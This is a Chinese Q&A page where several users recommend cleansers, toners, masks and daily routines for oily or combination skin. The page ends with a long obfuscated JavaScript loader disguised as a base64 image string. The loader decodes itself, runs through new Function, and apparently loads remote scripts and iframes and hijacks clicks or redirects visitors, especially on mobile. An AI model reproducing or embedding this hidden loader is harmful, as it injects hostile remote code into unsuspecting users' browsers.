推荐回答(5个)
如果因为上火会长痘痘的话,可以喝凉茶,或者是喝绿豆汤之类的,易上火的食物就少吃
混合性皮肤的人T区容易出油,但是U区不一定会很干燥,所以可以用些清洁能力强的洗面奶,这样会洗净T区的油脂和污垢,避免毛孔粗大和黑头
洗面奶:露得清深层清洁,旁氏海藻洗颜泥和矿物洗颜泥,婵真银杏洗面奶,TFS柠檬洗面奶,这些都是和混合型肤质的。相宜本草的竹炭净化洗颜泥和佰草集的平衡洗面奶都是比较天然的,DHC的纯榄滋养皂,这个配合DHC的卸妆油用很好,ZA的洗面奶也不错。冬季的时候不要用这些,用完皮肤会很干的,可以用大宝的美容洗面奶
这些洗面奶和洁面皂价格都不贵,很适合学生的价位,而且洗的很干净
爽肤水:昭贵的芦荟水,这个可以用来泡纸膜,夏天的时候也可以修复晒伤的肌肤。佰草集的平衡水,可以平衡油脂分泌,减少皮肤出油。这两款水水刺激小。如果你的皮肤敏感的话,就用雅漾的喷雾。还有肌研极润的水水,这个补水的效果非常好,有点稠稠的,冬天用很适合,皮肤不会干。妮维雅的粉水,卡尼尔的保湿水,还有肌水,这个在屈臣氏能买到
精华:保湿精华用欧莱雅的吧,这个吸收的很快,用了之后也不会油,搭配保湿霜更好。如果价格觉得不行就用卡尼尔的精华和保湿乳液。兰芝是比较专业的补水品牌了,不过有点贵。凝露可以用DHC的樱桃果明凝露,适合混合性皮肤的,而且还有美白的效果,妮维雅的凝水活采凝露,这个价格要地点,用在U区很好
,混合型肌肤的人,夏天最好能用凝露或者是乳液
面膜:清洁面膜用贝佳斯的绿泥,刺激小点的就用白泥,或者用御泥坊的。清洁面膜半个月一次,最多一个星期一次了。之后要做补水的面膜,补水的面膜可以用美即的,比较适合你的年龄了,补水面膜可以一个星期两次
美白:美白可以用卡尼尔的美白,不过建议晚上使用,白天使用保湿的,虽然卡尼尔的美白效果比较好,不过乳液和乳霜一样,在涂抹的时候都涂抹的不均匀。肌研白润也是美白的
粉底:我现在用的是ZA的蓝盒的,遮盖力比较好,痘痕都能遮盖住,而且不容易脱妆,如果早上用的话,等下午两三点的时候再补一次妆就行了,价位稍高点的用水之印的吧,不要用DHC的,价格有点贵,而且感觉一般
还有一些好用的乳液,小护士维他营养蜜,大宝,郁美净的鲜奶乳液,这些都是用了很久的了,也许没那些大牌的护肤品包装的那么好,不过东西的质量好就行了
22岁偏油性肌肤选择护肤品时最好选择质地轻薄,清爽控油型的护肤品最佳,控油保湿的同时可以控制油脂分泌,滋润皮肤,疏通并收敛毛孔,预防痘痘。尽量避免选用霜类护肤品,霜类的一般都比较油腻,擦上后分泌更多的油脂,所以油性肌肤选择护肤品的标准应以清爽控油为首选。
油性肌肤如何正确选择护肤品:
清爽型洗面奶
油性皮肤当然要选择清洁能力强的洗面奶,洗完之后才能干净清爽,毛孔自由呼吸。洗净皮肤油脂化妆品残余和灰尘并且性质温和清爽,富含多种维他命和矿物质,滋润肌肤。选择有泡泡丰富的洗面奶才能深入毛孔,清洁皮肤。
清爽补水的爽肤水
这是油性皮肤用什么护肤品的关键,因为油性肌肤之所以“油”,绝大部分是因为缺水,所以面部补水保湿是非常重要的,在选择爽肤水时,最佳选择是清爽保湿的爽肤水。在对肌肤表层补水的同时渗入肌肤内部,保持肌肤适度水分,减少暗哑,令肌肤水嫩清爽。有的人对于护肤品里面添加酒精,觉得避之不及,但是事实不是这样的。油性皮肤的人要使用含微量酒精的收缩水,不仅可以补充水分,调节皮肤酸碱平衡,而且可以收缩毛孔,抑制油脂分泌.
清爽控油的乳液
使用清爽型的保湿乳或保湿露,及时补充水分.另外还可以用果酸护肤品.能够平衡皮肤油脂的分泌减少皱纹和粉刺.如果皮肤特别油,在T区建议轻轻用乳液带过,不要涂抹太多,主要涂抹容易干燥缺水的脸颊部位。
专业去角质的产品
油性皮肤的人角质层会比其它肤质略厚,所以需要定期去角质,去角质促使皮肤更新换代,是日常皮肤护理的重要步骤。选择一款专门去角质的产品,能很好的缓解油性肌肤出油的问题。
清透的防晒霜
这是油性皮肤用什么护肤品的需要注意的重点之一,因为油性皮肤最怕堵塞毛孔,引发肌肤问题,所以在选择防晒霜的时候最好选择清爽无油配方,质地轻柔的防晒霜,可以有效均匀肤色,维持肌肤水油平衡,质地温和清爽无负担,呵护娇嫩敏感的肌肤,令肌肤水润白皙。
补水面膜
油性肌肤在选择面膜时最好选择可以调理肌肤水油平衡的面膜,做到“减”油“加”水,深入肌肤内部,快速补充肌肤缺失的水分与多重营养,同时强化肌肤锁水能力,迅速收缩扩张的毛孔。
首先捏,我觉得像我们这们年轻的不需要一些太保养的化妆品,另外你不是出油吗,那就要保湿,只要保湿做到位了,出油的情况就会有所缓解的,我用的是佳雪的,他就是保湿特别好,适合年轻女孩的皮肤,像我妈妈那个年龄就要用妮维雅了。
每天早上洗完脸先涂上爽肤水,然后是乳液,然后是bb霜(我洗面奶,爽肤水和乳液全都是佳雪的,bb霜我建议你用missha红色的,我就是用的这款,涂上后可以在刷上一层散粉,有控油的作用,但是中午也要用吸油纸,然后再补妆,油性皮肤都要这样,没有可以从早上到晚上一直让你的妆很好的粉底或bb霜,我说的这些价格都不贵,我觉得楼上的东西都太贵了,汗!)
然后就是晚上,先卸妆,不过bb霜也可以用有卸妆功效的洗面奶,因为bb霜是保养一类的,不想粉底那样必须用卸妆油,然后就在爽肤水,乳液,就ok啦
另外我一周做两个面膜,一个是贝佳斯的绿泥,一个是天纤草的红酒面膜,但我觉得那个绿泥不如网上够说的那么好,而那个红酒面膜还不错,保湿很好
我是敏感皮肤,这些用了都没过敏,你可以试试哈(纯手打哦)
楼主,你好,你是属于混合偏油性肌肤吧,T区控油比较关键,而其他部位肌肤保湿效果要比较好,我给你推荐几款吧。
洗面奶就用Skin food 卡布奇诺洗面乳吧,这款洗面奶中含有咖啡酸,咖啡酸可以帮助肌肤变得光滑细致,,也能提高肌肤的弹力,同时可温和的去除老旧角质及彻底洗净的效果,。同时这款洗面奶的味道也比较好闻哦,呵呵。
面膜吧,我觉得纯天然的比较好,像国货御泥坊的矿物泥浆面膜,泥浆面膜,首先是控油清洁效果非常好, 再次就是兼具其他功效,比如美白,收缩毛孔,等等,看你的肤质了,有几种可供你选择,这款面膜温和而不刺激,很适合油性或者混合性皮肤使用。而矿物水嫩系列面膜就适合所有肤质使用了,美白,补水保湿等等功效也非常明显。
爽肤水,你需要保湿的话就用碧欧泉温泉保湿爽肤水吧,这款爽肤水可以补充肌肤所需要的水分,而且是温和芦荟配方的,具有再次清洁肌肤功能,能补水,同时改善肌肤皮脂防御功能。
乳液的话,保湿补水效果比较好的,比如欧莱雅,ZA 的产品都还不错,你可以去试试。
面霜的话,妮维雅和Roc保湿效果较好,Heliotrop、雅漾、Weleda和MBR的保湿效果则勉强合格。而雅漾和Weleda的冬季面霜(Cold Cream)Rossmann的Rival de Loop面霜以及MBR Biochange的深层面霜吸收效果较差。所以不推荐你用。
说了这么多,希望有你适合的,祝你心情愉快!!
我今年23岁,我总结了一套我的护肤方法,推荐给你
1.我每周做两次去角质,因为我的皮肤是T部很油,所以很容易产生角质,一般是周二用蜂蜜加盐混合,在脸上打圈按摩,T部多柔,眼部和两颊就轻轻带过,动作要轻柔,大约两三分钟,然后用洗面奶洗净,会发现皮肤变得非常的柔嫩。另外就是周五的时候用一次贝佳斯绿泥,这个去角质和黑头的效果是非常好的,而且有收缩毛孔的功效。
TIPS:勤去角质不仅能去黑头收缩毛孔,而且还能帮助保养品吸收
2.每次去角质之后我都会做一次面膜,我是用纸膜泡芦荟水,我这个芦荟水是从网上买的,简直比那大名鼎鼎的昭贵强百倍,叫做懿黛,你可以在淘宝搜一下,只要用过了就再也戒不掉了,这个补水的效果真的很好,用它泡纸膜超级补水,听你描述我觉得你的皮肤就是缺水造成的外油内干,你可以试试,这个方法如果是缺水皮肤用的话开始时会有刺痛感,那是因为缺水太严重了,敷会就好了
3.我每周末在家,早上起床后洗完脸都要做一个膏状面膜,早上起床后皮肤的吸收力最好,最适合做这种面膜,推荐兰芝的草莓酸奶和DODO得睡眠面膜,这个睡眠面膜是对皮肤很好的
以上是周护理
下面是每天的护肤步骤
早晨:1.大宝美容洗面奶(这个冬天很保湿,用了这个U部位就不会很油)
2.懿黛芦荟水
3.眼霜
4.倩碧黄油(这个真的超级好用,不愧是世界最好用的乳液,虽然价格有点贵但是很好用的,真的,用了之后脸很滋润,我用过很多乳液,像the face shop和skinfood基本都用过但是效果也不是很好,简直跟黄油没法比。而且我用别的乳液U部位会干,用黄油就不会,是有油黄油)
晚上:1.香皂(懿黛精油皂)
2.敷脸:每天用纸膜泡普通的矿泉水就好了,二十分钟就可以了,效果不错,尤其是冬天
3.芦荟水-眼霜-郁美净晚间平衡露—祛痘或去疤痕的精油
这个基本上就是我的护肤步骤,每天的护理只是简单的保养,如果想要肌肤有改善,要经常做周护理
如果一定要用洗面奶德话,推荐你用旁氏的孟宗竹炭的,这个洗的很干净而且泡沫超细腻,用了很多洗面奶没有一个比这款细腻的,而且一冲就很干净。如果是油性皮肤,还是推荐你用香皂,现在很多美容达人和权威都是推荐用香皂的,因为洗面奶中含有起泡剂是对皮肤伤害很大的,相比之下,现在较高档的香皂都是没有皂基或是采用高级皂基,对皮肤基本上没有伤害
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();